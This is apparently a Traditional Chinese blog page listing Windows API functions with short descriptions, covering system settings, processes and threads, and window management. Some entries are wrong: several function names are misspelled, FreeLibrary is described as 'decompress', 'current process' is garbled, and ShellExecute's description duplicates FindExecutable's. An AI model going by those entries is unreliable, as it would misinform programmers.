GetSystemInfo 取得與底層硬體平台有關的訊息
GetSystemMetrics 返回與windows環境有關的訊息
GetSystemPowerStatus 獲得與當前系統電源狀態有關的訊息
GetSystemTime 取得當前系統時間，這個時間採用的是"協同世界時間"（即UTC，也叫做GMT）格式
GetSystemTimeAdjustment 使內部系統時鍾與一個外部的時鍾信號源同步
GetThreadLocale 取得當前執行緒的地方ID
GetTickCount 用於獲取自windows啟動以來經歷的時間長度（毫秒）
GetTimeFormat 針對當前指定的"地方"，按特定的格式格式化一個系統時間
GetTimeZoneInformation 取得與系統時區設定有關的訊息
GetUserDefaultLangID 為當前用戶取得預設值語言ID
GetUserDefaultLCID 取得當前用戶的預設值"地方"設定
GetUserName 取得當前用戶的名字
GetVersion 判斷當前執行的Windows和DOS版本
GetVersionEx 取得與平台和作業系統有關的版本訊息
HideCaret 在指定的視窗隱藏插入符（游標）
IsValidCodePage 判斷一個程式碼頁是否有效
IsValidLocale 判斷地方標幟符是否有效
keybd_event 這個函數模擬了鍵盤行動
LoadKeyboardLayout 載入一個鍵盤佈局
MapVirtualKey 根據指定的映射檔案類型，執行不同的掃瞄碼和字串轉換
MapVirtualKeyEx 根據指定的映射檔案類型，執行不同的掃瞄碼和字串轉換
MessageBeep 播放一個系統聲音。系統聲音的分配方案是在控制台裡決定的
mouse_event 模擬一次滑鼠事件
OemKeyScan 判斷OEM字串集中的一個ASCII字串的掃瞄碼和Shift鍵狀態
OemToChar 將OEM字串集的一個字串轉換到ANSI字串集
SetCaretBlinkTime 指定插入符（游標）的閃爍頻率
SetCaretPos 指定插入符的位置
SetComputerName 設定新的電腦名稱
SetCursor 將指定的滑鼠游標設為當前游標
SetCursorPos 設定游標的位置
SetDoubleClickTime 設定連續兩次滑鼠按下之間能使系統認為是雙按事件的間隔時間
SetEnvironmentVariable 將一個環境變數設為指定的值
SetKeyboardState 設定每個虛擬鍵當前在鍵碟上的狀態
SetLocaleInfo 改變用戶"地方"設定訊息
SetLocalTime 設定當前地方時間
SetSysColors 設定指定視窗顯示對象的顏色
SetSystemCursor 改變任何一個標準系統游標
SetSystemTime 設定當前系統時間
SetSystemTimeAdjustment 定時增加一個校準值使內部系統時鍾與一個外部的時鍾信號源同步
SetThreadLocale 為當前執行緒設定地方
SetTimeZoneInformation 設定系統時區訊息
ShowCaret 在指定的視窗裡顯示插入符（游標）
ShowCursor 控制滑鼠游標的可視性
SwapMouseButton 決定是否互換滑鼠左右鍵的功能
SystemParametersInfo 獲取和設定數量眾多的windows系統參數
SystemTimeToTzSpecificLocalTime 將系統時間轉換成地方時間
ToAscii 根據現用的掃瞄碼和鍵盤訊息，將一個虛擬鍵轉換成ASCII字串
ToUnicode 根據現用的掃瞄碼和鍵盤訊息，將一個虛擬鍵轉換成Unicode字串
UnloadKeyboardLayout 卸載指定的鍵盤佈局
VkKeyScan 針對Windows字串集中一個ASCII字串，判斷虛擬鍵碼和Shift鍵的狀態
11. API之工作和執行緒函數
CancelWaitableTimer 這個函數用於取消一個可以等待下去的計時器操作
CallNamedPipe 這個函數由一個希望通過管道通信的一個客戶工作使用
ConnectNamedPipe 指示一台伺服器等待下去，直至客戶端機同一個命名管道連接
CreateEvent 新增一個事件對像
CreateMailslot 新增一個郵路。返回的關鍵句由郵路伺服器使用（收信者）
CreateMutex 新增一個互斥體（MUTEX）
CreateNamedPipe 新增一個命名管道。返回的關鍵句由管道的伺服器端使用
CreatePipe 新增一個匿名管道
CreateProcess 新增一個新工作（比如執行一個程序）
CreateSemaphore 新增一個新的信號機
CreateWaitableTimer 新增一個可等待的計時器對像
DisconnectNamedPipe 中斷連線一個客戶與一個命名管道的連接
DuplicateHandle 在指出一個現有系統對像當前關鍵句的情況下，為那個對象新增一個新關鍵句
ExitProcess 中止一個工作
FindCloseChangeNotification 關閉一個改動通知對像
FindExecutable 尋找與一個指定文件關聯在一起的程序的檔案名
FindFirstChangeNotification 新增一個文件通知對象。該對像用於監視文件系統發生的變化
FindNextChangeNotification 重設一個文件改變通知對象，令其繼續監視下一次變化
FreeLibrary 解壓縮指定的動態連接庫
GetCurrentProcess 獲取當繼續程的一個偽關鍵句
GetCurrentProcessId 獲取當繼續程一個唯一的標幟符
GetCurrentThread 獲取當前執行緒的一個偽關鍵句
GetCurrentThreadId 獲取當前執行緒一個唯一的執行緒標幟符
GetExitCodeProces 獲取一個已中斷工作的結束程式碼
GetExitCodeThread 獲取一個已中止執行緒的結束程式碼
GetHandleInformation 獲取與一個系統對像關鍵句有關的訊息
GetMailslotInfo 獲取與一個郵路有關的訊息
GetModuleFileName 獲取一個已安裝載入範本的完整路徑名稱
GetModuleHandle 獲取一個應用程式或動態連接庫的模組關鍵句
GetPriorityClass 獲取特定工作的優先等級別
GetProcessShutdownParameters 調查系統關閉時一個指定的工作相對於其它工作的關閉早遲情況
GetProcessTimes 獲取與一個工作的經過時間有關的訊息
GetProcessWorkingSetSize 瞭解一個應用程式在執行程序中實際向它交付了多大容量的記憶體
GetSartupInfo 獲取一個工作的啟動訊息
GetThreadPriority 獲取特定執行緒的優先等級別
GetTheardTimes 獲取與一個執行緒的經過時間有關的訊息
GetWindowThreadProcessId 獲取與指定視窗關聯在一起的一個工作和執行緒標幟符
LoadLibrary 載入指定的動態連接庫，並將它映射到當繼續程使用的位址空間
LoadLibraryEx 安裝載入指定的動態連接庫，並為當繼續程把它映射到位址空間
LoadModule 載入一個Windows應用程式，並在指定的環境中執行
MsgWaitForMultipleObjects 等候單個對象或一系列對像發出信號。如返回條件已經滿足，則立即返回
SetPriorityClass 設定一個工作的優先等級別
SetProcessShutdownParameters 在系統關閉期間，為指定工作設定他相對於其它程序的關閉順序
SetProcessWorkingSetSize 設定作業系統實際劃分給工作使用的記憶體容量
SetThreadPriority 設定執行緒的優先等級別
ShellExecute 尋找與指定文件關聯在一起的程序的檔案名
TerminateProcess 結束一個工作
WinExec 執行指定的程序
12. API之控件與消息函數
AdjustWindowRect 給定一種視窗樣式，計算獲得目標客戶區矩形所需的視窗大小
AnyPopup 判斷螢幕上是否存在任何彈出式視窗
ArrangeIconicWindows 排列一個父視窗的最小化子視窗
AttachThreadInput 連接執行緒輸入函數
BeginDeferWindowPos 啟動構建一系列新視窗位置的程序
BringWindowToTop 將指定的視窗帶至視窗列表上面
CascadeWindows 以層疊方式排列視窗
ChildWindowFromPoint 返回父視窗中包含了指定點的第一個子視窗的關鍵句
ClientToScreen 判斷視窗內以客戶區坐標表示的一個點的螢幕坐標
CloseWindow 最小化指定的視窗
CopyRect 矩形內容複製
DeferWindowPos 該函數為特定的視窗指定一個新視窗位置
DestroyWindow 清除指定的視窗以及它的所有子視窗
DrawAnimatedRects 描繪一系列動態矩形
EnableWindow 指定的視窗裡允許或禁止所有滑鼠及鍵盤輸入
EndDeferWindowPos 同時更新DeferWindowPos使用時指定的所有視窗的位置及狀態
EnumChildWindows 為指定的父視窗枚舉子視窗
EnumThreadWindows 枚舉與指定工作相關的視窗
EnumWindows 枚舉視窗列表中的所有父視窗
EqualRect 判斷兩個矩形結構是否相同
FindWindow 尋找視窗列表中第一個符合指定條件的頂級視窗
FindWindowEx 在視窗列表中尋找與指定條件相符的第一個子視窗
FlashWindow 閃爍顯示指定視窗
GetActiveWindow 獲得活動視窗的關鍵句
GetCapture 獲得一個視窗的關鍵句，這個視窗位於當前輸入執行緒，且擁有滑鼠捕獲（滑鼠活動由它接收）
GetClassInfo 取得WNDCLASS結構（或WNDCLASSEX結構）的一個副本，結構中包含了與指定類有關的訊息
GetClassLong 取得視窗類的一個Long變數 列項
GetClassName 為指定的視窗取得類名
GetClassWord 為視窗類取得一個整數變數
GetClientRect 返回指定視窗客戶區矩形的大小
GetDesktopWindow 獲得代表整個螢幕的一個視窗（桌面視窗）關鍵句
GetFocus 獲得擁有輸入焦點的視窗的關鍵句
GetForegroundWindow 獲得前台視窗的關鍵句
GetLastActivePopup 獲得在一個給定父視窗中最近啟動過的彈出式視窗的關鍵句
GetParent 判斷指定視窗的父視窗
GetTopWindow 搜尋內部視窗列表，尋找隸屬於指定視窗的頭一個視窗的關鍵句
GetUpdateRect 獲得一個矩形，它描敘了指定視窗中需要更新的那一部分
GetWindow 獲得一個視窗的關鍵句，該視窗與某源視窗有特定的關係
GetWindowContextHelpId 取得與視窗關聯在一起的說明 場景ID
GetWindowLong 從指定視窗的結構中取得訊息
GetWindowPlacement 獲得指定視窗的狀態及位置訊息
GetWindowRect 獲得整個視窗的範圍矩形，視窗的邊框、標題欄、捲軸及表單等都在這個矩形內
GetWindowText 取得一個表單的標題（caption）文字，或者一個控件的內容
GetWindowTextLength 調查視窗標題文字或控件內容的長短
GetWindowWord 獲得指定視窗結構的訊息
InflateRect 增大或減小一個矩形的大小
IntersectRect 這個函數在lpDestRect裡載入一個矩形，它是lpSrc1Rect與lpSrc2Rect兩個矩形的交集
InvalidateRect 遮閉一個視窗客戶區的全部或部分區域
IsChild 判斷一個視窗是否為另一視窗的子或隸屬視窗
IsIconic 判斷視窗是否已最小化
IsRectEmpty 判斷一個矩形是否為空
IsWindow 判斷一個視窗關鍵句是否有效
IsWindowEnabled 判斷視窗是否處於活動狀態
IsWindowUnicode 判斷一個視窗是否為Unicode視窗。這意味著視窗為所有關於文本的消息都接收Unicode文字
IsWindowVisible 判斷視窗是否可見
IsZoomed 判斷視窗是否最大化
LockWindowUpdate 鎖定指定視窗，禁止它更新
MapWindowPoints 將一個視窗客戶區坐標的點轉換到另一視窗的客戶區坐標系統
MoveWindow 改變指定視窗的位置和大小
OffsetRect 通過套用一個指定的偏移，從而讓矩形移動起來
OpenIcon 恢復一個最小化的程序，並將其啟動
PtInRect 判斷指定的點是否位於矩形內部
RedrawWindow 重畫全部或部分視窗
ReleaseCapture 為現用的應用程式解壓縮滑鼠捕獲
ScreenToClient 判斷螢幕上一個指定點的客戶區坐標
ScrollWindow 滾動視窗客戶區的全部或一部分
ScrollWindowEx 根據附加的選項，滾動視窗客戶區的全部或部分
SetActiveWindow 啟動指定的視窗
SetCapture 將滑鼠捕獲設定到指定的視窗
SetClassLong 為視窗類設定一個Long變數 列項
SetClassWord 為視窗類設定一個 列項
SetFocusAPI 將輸入焦點設到指定的視窗。如有必要，會啟動視窗
SetForegroundWindow 將視窗設為系統的前台視窗
SetParent 指定一個視窗的新父
SetRect 設定指定矩形的內容
SetRectEmpty 將矩形設為一個空矩形
SetWindowContextHelpId 為指定的視窗設定說明 場景（上下文）ID
SetWindowLong 在視窗結構中為指定的視窗設定訊息
SetWindowPlacement 設定視窗狀態和位置訊息
SetWindowPos 為視窗指定一個新位置和狀態
SetWindowText 設定視窗的標題文字或控件的內容
SetWindowWord 在視窗結構中為指定的視窗設定訊息
ShowOwnedPopups 顯示或隱藏由指定視窗所有的全部彈出式視窗
ShowWindow 控制視窗的可見性
ShowWindowAsync 與ShowWindow相似
SubtractRect 安裝載入矩形lprcDst，它是在矩形lprcSrc1中減去lprcSrc2得到的結果
TileWindows 以平鋪順序排列視窗
UnionRect 安裝載入一個lpDestRect目標矩形，它是lpSrc1Rect和lpSrc2Rect聯合起來的結果
UpdateWindow 強制立即更新視窗
ValidateRect 校驗視窗的全部或部分客戶區
WindowFromPoint 返回包含了指定點的視窗的關鍵句。忽略遮閉、隱藏以及透明視窗
訂閱：
文章 (Atom)